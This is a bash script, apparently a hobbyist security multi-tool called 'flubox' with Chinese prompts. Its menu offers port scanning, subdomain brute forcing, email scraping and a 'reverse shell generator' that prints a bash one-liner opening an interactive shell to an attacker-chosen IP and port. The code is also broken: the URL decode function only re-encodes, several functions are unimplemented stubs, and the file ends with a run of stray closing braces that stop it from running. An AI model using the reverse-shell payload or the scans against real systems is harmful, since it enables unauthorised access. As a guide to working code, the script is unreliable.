#!/bin/bash
function port_scan {
        echo "请输入IP地址:"
            read ip
                for port in {1..65535}; do
                        (echo > /dev/tcp/$ip/$port) >/dev/null 2>&1 && echo "端口 $port 开放"
                            done
}

function password_gen {
        echo "生成一个随机密码:"
            < /dev/urandom tr -dc 'A-Za-z0-9_@#$%^&*()' | head -c 12; echo
}

function dns_query {
        echo "请输入域名:"
            read domain
                nslookup $domain
}

function ip_location {
        echo "请输入IP地址:"
            read ip
                echo "地理位置查询功能未实现（依赖外部服务）。"
}

function ping_test {
        echo "请输入IP地址:"
            read ip
                ping -c 4 $ip
}

function http_header {
        echo "请输入URL:"
            read url
                {
                            echo "HEAD $url HTTP/1.1"
                                    echo "Host: $(echo $url | awk -F/ '{print $3}')"
                                            echo "Connection: close"
                                                    echo
                } | nc $(echo $url | awk -F/ '{print $3}') 80
}

function traceroute {
        echo "请输入IP地址:"
            read ip
                echo "Traceroute功能未实现（依赖外部工具）。"
}

function reverse_shell {
        echo "请输入攻击者IP和端口:"
            read ip port
                echo "bash -i >& /dev/tcp/$ip/$port 0>&1"
}

function password_strength {
        echo "请输入密码:"
            read password
                if [[ ${#password} -ge 8 && "$password" =~ [A-Z] && "$password" =~ [a-z] && "$password" =~ [0-9] ]]; then
                        echo "密码强度：强"
                            else
                                    echo "密码强度：弱"
                                        fi
}

function base64_tool {
        echo "请输入要编码/解码的字符串:"
            read input
                echo "选择操作: 1. 编码 2. 解码"
                    read choice
                        if [ "$choice" -eq 1 ]; then
                                echo "$input" | base64
                                    else
                                            echo "$input" | base64 --decode
                                                fi
}

function subnet_calculator {
        echo "请输入IP地址和子网掩码 (如 192.168.1.1/24):"
            read cidr
                ipcalc $cidr
}

function file_hash {
        echo "请输入文件路径:"
            read file
                if [ -f "$file" ]; then
                        echo "MD5: $(md5sum $file | awk '{print $1}')"
                                echo "SHA1: $(sha1sum $file | awk '{print $1}')"
                                        echo "SHA256: $(sha256sum $file | awk '{print $1}')"
                                            else
                                                    echo "文件不存在"
                                                        fi
}

function url_encode {
        echo "请输入要编码的URL:"
            read url
                echo -n "$url" | jq -sRr @uri
}

function url_decode {
        echo "请输入要解码的URL:"
            read url
                echo -n "$url" | jq -sRr @uri
}

function http_request {
        echo "请输入URL:"
            read url
                curl -X GET "$url"
}

function whois_query {
        echo "请输入域名:"
            read domain
                whois $domain
}

function reverse_dns {
        echo "请输入IP地址:"
            read ip
                host $ip
}

function check_alive {
        echo "请输入IP地址:"
            read ip
                timeout 1 bash -c "cat < /dev/null > /dev/tcp/$ip/80" && echo "$ip 是在线的" || echo "$ip 不在线"
}

function random_string {
        echo "生成一个随机字符串:"
            < /dev/urandom tr -dc 'A-Za-z0-9' | head -c 16; echo
}

function domain_brute_force {
        echo "请输入域名:"
            read domain
                for sub in $(cat subdomains.txt); do
                        host "$sub.$domain" && echo "$sub.$domain 存在"
                            done
}

function check_ssl {
        echo "请输入域名:"
            read domain
                echo | openssl s_client -connect $domain:443 2>/dev/null | openssl x509 -noout -dates
}

function extract_emails {
        echo "请输入文件路径:"
            read file
                grep -oP "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}" "$file"
}

function check_open_ports {
        echo "请输入IP地址:"
            read ip
                for port in {1..1024}; do
                        (echo > /dev/tcp/$ip/$port) >/dev/null 2>&1 && echo "端口 $port 开放"
                            done
}

function find_vulns {
        echo "请输入目标IP地址:"
            read ip
                echo "漏洞扫描功能未实现（依赖外部工具）。"
}

function extract_links {
        echo "请输入URL:"
            read url
                curl -s "$url" | grep -oP '(?<=href=")[^"]*'
}

# 主菜单
echo "       +------------------+
      /                  /|
           /                  / |
               /                  /  |
                  +------------------+   |
                     |                  |   |
                        |      flubox      |   |
                           |                  |   |
                              |                  |  /
                                 |                  | /
                                    +------------------+"
                                    echo "当前版本:1.0"
                                    echo "选择功能:"
                                    echo "1. 端口扫描"
                                    echo "2. 密码生成器"
                                    echo "3. DNS查询"
                                    echo "4. 网络Ping测试"
                                    echo "5. HTTP头信息查看"
                                    echo "6. Traceroute（未实现）"
                                    echo "7. 反向Shell生成器"
                                    echo "8. 密码强度检查"
                                    echo "9. Base64编码/解码"
                                    echo "10. 子网计算器"
                                    echo "11. 文件哈希计算"
                                    echo "12. URL编码"
                                    echo "13. URL解码"
                                    echo "14. HTTP请求"
                                    echo "15. WHOIS查询"
                                    echo "16. 反向DNS查询"
                                    echo "17. 检查主机是否在线"
                                    echo "18. 生成随机字符串"
                                    echo "19. 域名暴力破解"
                                    echo "20. 检查SSL证书"
                                    echo "21. 提取邮箱地址"
                                    echo "22. 检查开放端口"
                                    echo "23. 漏洞扫描（未实现）"
                                    echo "24. 提取链接"
                                    echo "请输入选择的功能编号:"
                                    read choice

                                    case $choice in
                                        1) port_scan ;;
                                            2) password_gen ;;
                                                3) dns_query ;;
                                                    4) ping_test ;;
                                                        5) http_header ;;
                                                            6) traceroute ;;
                                                                7) reverse_shell ;;
                                                                    8) password_strength ;;
                                                                        9) base64_tool ;;
                                                                            10) subnet_calculator ;;
                                                                                11) file_hash ;;
                                                                                    12) url_encode ;;
                                                                                        13) url_decode ;;
                                                                                            14) http_request ;;
                                                                                                15) whois_query ;;
                                                                                                    16) reverse_dns ;;
                                                                                                        17) check_alive ;;
                                                                                                            18) random_string ;;
                                                                                                                19) domain_brute_force ;;
                                                                                                                    20) check_ssl ;;
                                                                                                                        21) extract_emails ;;
                                                                                                                            22) check_open_ports ;;
                                                                                                                                23) find_vulns ;;
                                                                                                                                    24) extract_links ;;
                                                                                                                                        *) echo "无效的选择" ;;
                                                                                                                                        esac
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
                }
}
}
}
}
}
}